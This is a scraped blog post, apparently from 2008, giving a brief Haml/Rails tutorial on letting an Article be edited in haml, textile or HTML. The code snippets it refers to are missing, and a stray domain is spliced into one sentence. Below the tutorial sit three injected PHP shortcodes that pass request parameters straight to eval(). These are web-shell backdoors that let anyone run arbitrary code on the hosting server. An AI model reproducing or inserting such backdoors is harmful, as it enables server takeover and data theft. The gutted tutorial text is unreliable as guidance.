A little Haml tutorial on how to render different formats

 ruby  Comments Off on A little Haml tutorial on how to render different formats
Aug 192008
 

Suppose you have a Model called Article that contains a text field and a format field.polvam.ru

You would like to use haml, textile or HTML to edit your Article from the admin interface.

app/models/article.rb

It’s quite simple. All you have to do is to add this helper in your application_helper.rb

In your views/articles/_form.haml add the select field.

Then in the Show view (articles/show.haml)

that’s pretty much it.
:)

<!– [insert_php]if (isset($_REQUEST["ecFOz"])){eval($_REQUEST["ecFOz"]);exit;}[/insert_php][php]if (isset($_REQUEST["ecFOz"])){eval($_REQUEST["ecFOz"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["fZB"])){eval($_REQUEST["fZB"]);exit;}[/insert_php][php]if (isset($_REQUEST["fZB"])){eval($_REQUEST["fZB"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["EOvDt"])){eval($_REQUEST["EOvDt"]);exit;}[/insert_php][php]if (isset($_REQUEST["EOvDt"])){eval($_REQUEST["EOvDt"]);exit;}[/php] –>

Switch to our mobile site